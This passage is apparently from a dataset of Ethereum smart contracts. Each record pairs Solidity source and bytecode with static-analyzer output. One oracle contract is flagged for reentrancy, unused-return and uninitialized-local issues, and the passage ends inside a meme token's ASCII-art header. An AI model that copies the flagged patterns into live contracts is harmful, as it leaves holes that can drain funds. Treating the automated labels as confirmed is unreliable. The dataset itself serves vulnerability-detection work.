balances[msg.sender] = initialSupply; // Send all tokens to owner //allowedAddresses[owner] = true; } }
0x608060405234801561001057600080fd5b50600436106100f55760003560e01c80636618846311610097578063a9059cbb11610066578063a9059cbb14610460578063d73dd623146104c4578063dd62ed3e14610528578063f2fde38b146105a0576100f5565b806366188463146102ed57806370a08231146103515780638da5cb5b146103a957806395d89b41146103dd576100f5565b806323b872dd116100d357806323b872dd146101ff578063313ce56714610283578063378dc3dc146102a157806342966c68146102bf576100f5565b806306fdde03146100fa578063095ea7b31461017d57806318160ddd146101e1575b600080fd5b6101026105e4565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610142578082015181840152602081019050610127565b50505050905090810190601f16801561016f5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101c96004803603604081101561019357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061061d565b60405180821515815260200191505060405180910390f35b6101e961070f565b6040518082815260200191505060405180910390f35b61026b6004803603606081101561021557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610715565b60405180821515815260200191505060405180910390f35b61028b6109ff565b6040518082815260200191505060405180910390f35b6102a9610a04565b6040518082815260200191505060405180910390f35b6102eb600480360360208110156102d557600080fd5b8101908080359060200190929190505050610a12565b005b6103396004803603604081101561030357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610bd8565b60405180821515815260200191505060405180910390f35b6103936004803603602081101561036757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610e69565b6040518082815260200191505060405180910390f35b6103b1610eb2565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6103e5610ed6565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561042557808201518184015260208101905061040a565b50505050905090810190601f1680156104525780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6104ac6004803603604081101561047657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610f0f565b60405180821515815260200191505060405180910390f35b610510600480360360408110156104da57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506110e3565b60405180821515815260200191505060405180910390f35b61058a6004803603604081101561053e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506112df565b6040518082815260200191505060405180910390f35b6105e2600480360360208110156105b657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611366565b005b6040518060400160405280600781526020017f4e6574636f696e0000000000000000000000000000000000000000000000000081525081565b600081600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60015481565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561075057600080fd5b6000600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905061082383600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114b590919063ffffffff16565b600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506108b883600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114cc90919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061090e83826114b590919063ffffffff16565b600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a360019150509392505050565b601281565b6012600a0a6305f5e1000281565b60008111610a1f57600080fd5b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054811115610a6b57600080fd5b6000339050610ac282600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114b590919063ffffffff16565b600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610b1a826001546114b590919063ffffffff16565b6001819055508073ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5836040518082815260200191505060405180910390a2600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a35050565b600080600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905080831115610ce9576000600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610d7d565b610cfc83826114b590919063ffffffff16565b600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6040518060400160405280600381526020017f4e4554000000000000000000000000000000000000000000000000000000000081525081565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610f4a57600080fd5b610f9c82600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114b590919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061103182600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114cc90919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b600061117482600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114cc90919063ffffffff16565b600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146113be57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156113f857600080fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000828211156114c157fe5b818303905092915050565b6000808284019050838110156114de57fe5b809150509291505056fea2646970667358221220de5f405c62b90f71b1019df8e2f720384d1837a5b729eac859063c980b948af264736f6c634300060c0033
{"success": true, "error": null, "results": {}}
457
0xd4f85adbbe2aaf823c9942bf8bb2482e84c98fa1
// SPDX-License-Identifier: Apache-2.0 pragma solidity ^0.8.0; interface IOracle { function value() external view returns (int256, bool); function nextValue() external view returns (int256); function update() external returns (bool); } /// @notice Emitted when paused error Pausable__whenNotPaused_paused(); /// @notice Emitted when not paused error Pausable__whenPaused_notPaused(); /// @title Guarded /// @notice Mixin implementing an authentication scheme on a method level abstract contract Guarded { /// ======== Custom Errors ======== /// error Guarded__notRoot(); error Guarded__notGranted(); /// ======== Storage ======== /// /// @notice Wildcard for granting a caller to call every guarded method bytes32 public constant ANY_SIG = keccak256("ANY_SIG"); /// @notice Wildcard for granting a caller to call every guarded method address public constant ANY_CALLER = address(uint160(uint256(bytes32(keccak256("ANY_CALLER"))))); /// @notice Mapping storing who is granted to which method /// @dev Method Signature => Caller => Bool mapping(bytes32 => mapping(address => bool)) private _canCall; /// ======== Events ======== /// event AllowCaller(bytes32 sig, address who); event BlockCaller(bytes32 sig, address who); constructor() { // set root _setRoot(msg.sender); } /// ======== Auth ======== /// modifier callerIsRoot() { if (_canCall[ANY_SIG][msg.sender]) { _; } else revert Guarded__notRoot(); } modifier checkCaller() { if (canCall(msg.sig, msg.sender)) { _; } else revert Guarded__notGranted(); } /// @notice Grant the right to call method `sig` to `who` /// @dev Only the root user (granted `ANY_SIG`) is able to call this method /// @param sig_ Method signature (4Byte) /// @param who_ Address of who should be able to call `sig` function allowCaller(bytes32 sig_, address who_) public callerIsRoot { _canCall[sig_][who_] = true; emit AllowCaller(sig_, who_); } /// @notice Revoke the right to call method `sig` from `who` /// @dev Only the root user (granted `ANY_SIG`) is able to call this method /// @param sig_ Method signature (4Byte) /// @param who_ Address of who should not be able to call `sig` anymore function blockCaller(bytes32 sig_, address who_) public callerIsRoot { _canCall[sig_][who_] = false; emit BlockCaller(sig_, who_); } /// @notice Returns if `who` can call `sig` /// @param sig_ Method signature (4Byte) /// @param who_ Address of who should be able to call `sig` function canCall(bytes32 sig_, address who_) public view returns (bool) { return (_canCall[sig_][who_] || _canCall[ANY_SIG][who_] || _canCall[sig_][ANY_CALLER]); } /// @notice Sets the root user (granted `ANY_SIG`) /// @param root_ Address of who should be set as root function _setRoot(address root_) internal { _canCall[ANY_SIG][root_] = true; emit AllowCaller(ANY_SIG, root_); } } contract Pausable is Guarded { event Paused(address who); event Unpaused(address who); bool private _paused; function paused() public view virtual returns (bool) { return _paused; } modifier whenNotPaused() { // If the contract is paused, throw an error if (_paused) { revert Pausable__whenNotPaused_paused(); } _; } modifier whenPaused() { // If the contract is not paused, throw an error if (_paused == false) { revert Pausable__whenPaused_notPaused(); } _; } function _pause() internal whenNotPaused { _paused = true; emit Paused(msg.sender); } function _unpause() internal whenPaused { _paused = false; emit Unpaused(msg.sender); } } abstract contract Oracle is Pausable, IOracle { /// @notice Emitted when a method is reentered error Oracle__nonReentrant(); /// ======== Events ======== /// event ValueInvalid(); event ValueUpdated(int256 currentValue, int256 nextValue); event OracleReset(); /// ======== Storage ======== /// // Time interval between the value updates uint256 public immutable timeUpdateWindow; // Timestamp of the current value uint256 public lastTimestamp; // The next value that will replace the current value once the timeUpdateWindow has passed int256 public override(IOracle) nextValue; // Current value that will be returned by the Oracle int256 private _currentValue; // Flag that tells if the value provider returned successfully bool private _validReturnedValue; // Reentrancy constants uint256 private constant _NOT_ENTERED = 1; uint256 private constant _ENTERED = 2; // Reentrancy guard flag uint256 private _reentrantGuard = _NOT_ENTERED; /// ======== Modifiers ======== /// modifier nonReentrant() { // Check if the guard is set if (_reentrantGuard != _NOT_ENTERED) { revert Oracle__nonReentrant(); } // Set the guard _reentrantGuard = _ENTERED; // Allow execution _; // Reset the guard _reentrantGuard = _NOT_ENTERED; } constructor(uint256 timeUpdateWindow_) { timeUpdateWindow = timeUpdateWindow_; _validReturnedValue = false; } /// @notice Get the current value of the oracle /// @return The current value of the oracle /// @return Whether the value is valid function value() public view override(IOracle) whenNotPaused returns (int256, bool) { // Value is considered valid if the value provider successfully returned a value return (_currentValue, _validReturnedValue); } function getValue() external virtual returns (int256); function update() public override(IOracle) checkCaller nonReentrant returns (bool) { // Not enough time has passed since the last update if (lastTimestamp + timeUpdateWindow > block.timestamp) { // Exit early if no update is needed return false; } // Oracle update should not fail even if the value provider fails to return a value try this.getValue() returns (int256 returnedValue) { // Update the value using an exponential moving average if (_currentValue == 0) { // First update takes the current value nextValue = returnedValue; _currentValue = nextValue; } else { // Update the current value with the next value _currentValue = nextValue; // Set the returnedValue as the next value nextValue = returnedValue; } // Save when the value was last updated lastTimestamp = block.timestamp; _validReturnedValue = true; emit ValueUpdated(_currentValue, nextValue); return true; } catch { // When a value provider fails, we update the valid flag which will // invalidate the value instantly _validReturnedValue = false; emit ValueInvalid(); } return false; } function pause() public checkCaller { _pause(); } function unpause() public checkCaller { _unpause(); } function reset() public whenPaused checkCaller { _currentValue = 0; nextValue = 0; lastTimestamp = 0; _validReturnedValue = false; emit OracleReset(); } } contract Convert { function convert( int256 x_, uint256 currentPrecision_, uint256 targetPrecision_ ) internal pure returns (int256) { if (targetPrecision_ > currentPrecision_) return x_ * int256(10**(targetPrecision_ - currentPrecision_)); return x_ / int256(10**(currentPrecision_ - targetPrecision_)); } function uconvert( uint256 x_, uint256 currentPrecision_, uint256 targetPrecision_ ) internal pure returns (uint256) { if (targetPrecision_ > currentPrecision_) return x_ * 10**(targetPrecision_ - currentPrecision_); return x_ / 10**(currentPrecision_ - targetPrecision_); } } // Chainlink Aggregator v3 interface // https://github.com/smartcontractkit/chainlink/blob/6fea3ccd275466e082a22be690dbaf1609f19dce/contracts/src/v0.8/interfaces/AggregatorV3Interface.sol interface IChainlinkAggregatorV3Interface { function decimals() external view returns (uint8); function description() external view returns (string memory); function version() external view returns (uint256); // getRoundData and latestRoundData should both raise "No data present" // if they do not have data to report, instead of returning unset values // which could be misinterpreted as actual reported values. function getRoundData(uint80 _roundId) external view returns ( uint80 roundId, int256 answer, uint256 startedAt, uint256 updatedAt, uint80 answeredInRound ); function latestRoundData() external view returns ( uint80 roundId, int256 answer, uint256 startedAt, uint256 updatedAt, uint80 answeredInRound ); } contract ChainlinkValueProvider is Oracle, Convert { uint8 public immutable underlierDecimals; address public chainlinkAggregatorAddress; /// @notice Constructs the Value provider contracts with the needed Chainlink. /// @param timeUpdateWindow_ Minimum time between updates of the value /// @param chainlinkAggregatorAddress_ Address of the deployed chainlink aggregator contract. constructor( // Oracle parameters uint256 timeUpdateWindow_, // Chainlink specific parameter address chainlinkAggregatorAddress_ ) Oracle(timeUpdateWindow_) { chainlinkAggregatorAddress = chainlinkAggregatorAddress_; underlierDecimals = IChainlinkAggregatorV3Interface( chainlinkAggregatorAddress_ ).decimals(); } /// @notice Retrieves the price from the chainlink aggregator /// @return result The result as an signed 59.18-decimal fixed-point number. function getValue() external view override(Oracle) returns (int256) { // Convert the annual rate to 1e18 precision. (, int256 answer, , , ) = IChainlinkAggregatorV3Interface( chainlinkAggregatorAddress ).latestRoundData(); return convert(answer, underlierDecimals, 18); } /// @notice returns the description of the chainlink aggregator the proxy points to. function description() external view returns (string memory) { return IChainlinkAggregatorV3Interface(chainlinkAggregatorAddress) .description(); } }
0x608060405234801561001057600080fd5b50600436106101365760003560e01c80635c975abb116100b2578063a2e6204511610081578063bbd91c4611610066578063bbd91c46146102cb578063ccfb9935146102f2578063d826f88f146102fb57600080fd5b8063a2e62045146102b0578063a746d489146102b857600080fd5b80635c975abb1461026157806369e7f01b1461026c5780637284e416146102935780638456cb59146102a857600080fd5b8063356cd90a116101095780633fa4f245116100ee5780633fa4f245146101dc5780634c8136eb146101f957806352b43adf1461023e57600080fd5b8063356cd90a1461019b5780633f4ba83a146101d457600080fd5b8063012abbe91461013b57806319d8ac6114610150578063209652551461016c5780632936ff2b14610174575b600080fd5b61014e610149366004610bdb565b610303565b005b61015960025481565b6040519081526020015b60405180910390f35b6101596103e0565b6101597f13eb61d6467453b8d8e0d2a40b8dcee776dde376f951013dfdab1b9189651b6181565b6101c27f000000000000000000000000000000000000000000000000000000000000000881565b60405160ff9091168152602001610163565b61014e6104af565b6101e461051e565b60408051928352901515602083015201610163565b6007546102199073ffffffffffffffffffffffffffffffffffffffff1681565b60405173ffffffffffffffffffffffffffffffffffffffff9091168152602001610163565b61025161024c366004610bdb565b61056f565b6040519015158152602001610163565b60015460ff16610251565b6101597f0000000000000000000000000000000000000000000000000000000000000e1081565b61029b61062e565b6040516101639190610c54565b61014e6106e9565b610251610724565b61014e6102c6366004610bdb565b61092a565b6102197f48a48edb17b6277f3d9897feeb510d1503580c3997a055cb5a635e86f81c243a81565b61015960035481565b61014e6109d0565b3360009081527f107ee6c9edf8142ba51e10023f320f7b6ccd180a42be95ddbc18c0e5425b2900602052604090205460ff16156103ae5760008281526020818152604080832073ffffffffffffffffffffffffffffffffffffffff851680855290835292819020805460ff191690558051858152918201929092527faec761575684e54a883064093131de012d7a9e8fc898f13474e50fcfbdce7d0b91015b60405180910390a15050565b6040517f6d6b83b300000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b600080600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663feaf968c6040518163ffffffff1660e01b815260040160a060405180830381865afa158015610450573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906104749190610cc4565b5050509150506104a9817f000000000000000000000000000000000000000000000000000000000000000860ff166012610a88565b91505090565b6104dd7fffffffff00000000000000000000000000000000000000000000000000000000600035163361056f565b156104ec576104ea610ae1565b565b6040517faa68b5bf00000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b600154600090819060ff1615610560576040517fa3d4575400000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b505060045460055460ff169091565b60008281526020818152604080832073ffffffffffffffffffffffffffffffffffffffff8516845290915281205460ff16806105ef575073ffffffffffffffffffffffffffffffffffffffff821660009081527f107ee6c9edf8142ba51e10023f320f7b6ccd180a42be95ddbc18c0e5425b2900602052604090205460ff165b80610625575060008381526020818152604080832073eb510d1503580c3997a055cb5a635e86f81c243a845290915290205460ff165b90505b92915050565b600754604080517f7284e416000000000000000000000000000000000000000000000000000000008152905160609273ffffffffffffffffffffffffffffffffffffffff1691637284e4169160048083019260009291908290030181865afa15801561069e573d6000803e3d6000fd5b505050506040513d6000823e601f3d9081017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe01682016040526106e49190810190610d43565b905090565b6107177fffffffff00000000000000000000000000000000000000000000000000000000600035163361056f565b156104ec576104ea610b62565b60006107537fffffffff000000000000000000000000000000000000000000000000000000008235163361056f565b156104ec57600160065414610794576040517f890ffdfc00000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b600260068190555442906107c9907f0000000000000000000000000000000000000000000000000000000000000e1090610e3d565b11156107d757506000610922565b3073ffffffffffffffffffffffffffffffffffffffff1663209652556040518163ffffffff1660e01b81526004016020604051808303816000875af192505050801561085e575060408051601f3d9081017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe016820190925261085b91810190610e55565b60015b61089a576005805460ff191690556040517f590d70f1f3f1063f809b4c86f7187d3f04850146c3df8b63e43dd3639cee8b5090600090a161091e565b6004546000036108b357600381905560048190556108be565b600380546004558190555b426002556005805460ff191660011790556004546003546040517fb8ba758880724160775cc09f9aa6f15e3d6be6aed023b548a74a72981f806f639261090c92908252602082015260400190565b60405180910390a16001915050610922565b5060005b600160065590565b3360009081527f107ee6c9edf8142ba51e10023f320f7b6ccd180a42be95ddbc18c0e5425b2900602052604090205460ff16156103ae5760008281526020818152604080832073ffffffffffffffffffffffffffffffffffffffff851680855290835292819020805460ff191660011790558051858152918201929092527f9c21fb13a2f9c0e9222fe9a6810fe483b60248132981e1e0554bae602e93a9dd91016103a2565b60015460ff161515600003610a11576040517f2d09625000000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b610a3f7fffffffff00000000000000000000000000000000000000000000000000000000600035163361056f565b156104ec5760006004819055600381905560028190556005805460ff191690556040517fc0d3abef853c24900b5092a44863227a9bf7529e8a54373f976eaa231fafecbe9190a1565b600082821115610ab857610a9c8383610e6e565b610aa790600a610fa5565b610ab19085610fb1565b9050610ada565b610ac28284610e6e565b610acd90600a610fa5565b610ad7908561106d565b90505b9392505050565b60015460ff161515600003610b22576040517f2d09625000000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b6001805460ff191690556040513381527f5db9ee0a495bf2e6ff9c91a7834c1ba4fdd244a5e8aa4e537bd38aeae4b073aa906020015b60405180910390a1565b60015460ff1615610b9f576040517fa3d4575400000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b6001805460ff1916811790556040513381527f62e78cea01bee320cd4e420270b5ea74000d11b0c9f74754ebdbfc544b05a25890602001610b58565b60008060408385031215610bee57600080fd5b82359150602083013573ffffffffffffffffffffffffffffffffffffffff81168114610c1957600080fd5b809150509250929050565b60005b83811015610c3f578181015183820152602001610c27565b83811115610c4e576000848401525b50505050565b6020815260008251806020840152610c73816040850160208701610c24565b601f017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0169190910160400192915050565b805169ffffffffffffffffffff81168114610cbf57600080fd5b919050565b600080600080600060a08688031215610cdc57600080fd5b610ce586610ca5565b9450602086015193506040860151925060608601519150610d0860808701610ca5565b90509295509295909350565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600060208284031215610d5557600080fd5b815167ffffffffffffffff80821115610d6d57600080fd5b818401915084601f830112610d8157600080fd5b815181811115610d9357610d93610d14565b604051601f82017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0908116603f01168101908382118183101715610dd957610dd9610d14565b81604052828152876020848701011115610df257600080fd5b610e03836020830160208801610c24565b979650505050505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008219821115610e5057610e50610e0e565b500190565b600060208284031215610e6757600080fd5b5051919050565b600082821015610e8057610e80610e0e565b500390565b600181815b80851115610ede57817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04821115610ec457610ec4610e0e565b80851615610ed157918102915b93841c9390800290610e8a565b509250929050565b600082610ef557506001610628565b81610f0257506000610628565b8160018114610f185760028114610f2257610f3e565b6001915050610628565b60ff841115610f3357610f33610e0e565b50506001821b610628565b5060208310610133831016604e8410600b8410161715610f61575081810a610628565b610f6b8383610e85565b807fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04821115610f9d57610f9d610e0e565b029392505050565b60006106258383610ee6565b60007f7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff600084136000841385830485118282161615610ff257610ff2610e0e565b7f8000000000000000000000000000000000000000000000000000000000000000600087128682058812818416161561102d5761102d610e0e565b6000871292508782058712848416161561104957611049610e0e565b8785058712818416161561105f5761105f610e0e565b505050929093029392505050565b6000826110a3577f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff83147f8000000000000000000000000000000000000000000000000000000000000000831416156110f7576110f7610e0e565b50059056fea264697066735822122002dcd5b758dd9975c8e0628bf5047743331b01b8af45429dee5de935c0590a2a64736f6c634300080d0033
{"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}}
458
0x1c76ba74c3bceb23a0dc4c0027f3ac86199cc9b1
/** *Submitted for verification at Etherscan.io on 2022-04-25 */ /** $NOOT Telegram: https://t.me/NootERC20 Website: https://pinguinu.xyz/ ▓▓╢╣▒▒▒▒▒╢╢╢╢╢╢╢╢╢╢╢╢╢╢╢╢╢╢╢╣▒▒▒▒▒▒▒░░░░░░░░░░ ░░░░░░░▒╢╣╣▒░░░░░░░░░░░░░░ ▓╣╢╣▒▒▒▒▒╢╢╢╢╣╢╢╢╢╢╢╢╢╢╢╢╢╢╣╣▒▒▒▒▒▒▒▒░░░░░░░░ ░░░░░░░▒▒╢╣▒▒░░░░░░░░░░░░░░ ╣╣╣▒▒▒▒▒▒╢╢╢╣╣╣╢╢╢╢╢╢╢╢╢╢╢╣╣▒▒▒▒▒▒▒▒░░░░░░░░ ░░░▒▒▒▒╢╢╢╢▒▒▒▒░░░░░░░░░░░░░ ╢╢╣▒▒▒▒▒▒╢╢╢╢╢╢╣╢╢╢╢╢╢╢╢╢╢╣╣▒▒▒▒▒▒▒▒▒░░░░░░ ░░▒▒▒╢╢╢╢╢╢╣▒░░░░░░░░░░░░░░░░ ╣╢╢▒▒▒▒▒▒▒╢╢╢╢╣╢╢╣╣╣▒╜╜╜╜╢╢╢▒▒▒▒▒▒▒▒▒░░░░░░░░░▒▒╢╢╢╢╣▒▒▒▒▒▒░░▒▒▒▒▒░░░░░░░░ ╢╢╢▒▒▒▒▒▒▒╢╢╣╢╢╢▒▒▒▒░░ '░╙╜╢▒▒▒▒▒░░░░░░▒▒╢╢╢╢╣╣▒▒▒▒▒▒▒▒▒▒▒▒▒▒░░░░ ░' ╢╢╣▒▒▒▒▒▒▒╢╢╣╣▒▒▒▒▒▒░░░ '▒▒▒▒░░▒▒▒╢╢╢╢╢▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒░░,▄▄▄▄▄, ╢╢╣▒▒▒▒▒▒▒╢╢╣▒▒▒▒▒░░▒▒░░░ ░░░░░ '░▒╢╢╢╢╢╣╣▒▒▒▒▒▒▒▒░▒╢▒▒▒▒▒▒▒░▄█████████▓▄ ╢╢▒▒▒▒▒▒▒▒╢╣▒▒▒▒▒▒░░░░▒▒░░░░▄▄███████████▄▒▒▒▒▒▒▒▒░░▒╢▒▒▒▒▒▒▒▄█████████████ ╢╣▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒░░░▒▒▒░▄████████████████████▄▒▒▒▒▒▒▒▒▒▒▒▒▒███████████████▌ ╢╣▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒░▒▒▒▄█████████████████████████▓▒▒╢▒▒▒▒▒▒▒████████████████C ╢▒▒▒▒▒▒╢╢╢▒▒▒▒▒▒▒▒▒▒▒██████▀▀▀██████████████████▓▓▓▒▒▒▒▒▒▒▐████████████████ ╢╢╢╢╢╢╢╢╢╣▒░░▒▒▒▒▒▒▒█████▀▄███]█████████████████▓█▓█▒▒▒▒▒▒████████████████▌ '░╙▒▒╣╢╣▒░ ░▒▒▒▒▒▐█████▄▀▀▀▄███████████████ ▄,╙███▌▒▒▒▒▒████████████████` ░░░░▒░ ▒▒▒▒▒███████████████▓▓▓▓███████▐██▌▐███▒░░░░▀███████████████ ░░░▒░ ░▒╜▒███████████▓▓▓▓▓▓▓▓▓▓▓╣█████▀,████▌░░░░▒▀██████████████ ░ ░░▒▒▒░░ ▐█████████▓▓▓▓▓▓▓▓▓▓▓▓╢╣▓█████████▒▒▒░░░░░█████████████ ▒░░ ░▒▒▒▒▒▒░ ░▀█████████▓▓▓▓▓▓▓▓▓▓▓▓▓▓█████████▒▒▒░░░░░░▀███████████ ▒▒░░░░▒▒▒▒▒▒░ ░▒▒▒▀███████████████▓▓▓███████████▒▒▒▒░░░░░░░▐██████████ ░░▒▒▒▒▒▒▒▒▒░░ ░▒▒▒▒▒▒░█████████████████████████▀░▒▒░░░░░░░░░░██████████ ░░▒░░▒▒▒▒▒░ ░▒▒▒▒▄███████████████████████████▄▒▒▒▒▒▒░░░░░░░▐█████████▌ ░▒▒▒░░▒▒░░░░░ ░▒▒▄█████████████████████████████████▄░▒▒░░░░░░▄██████████ ▒▒▒▒▒░░░░░░░░ 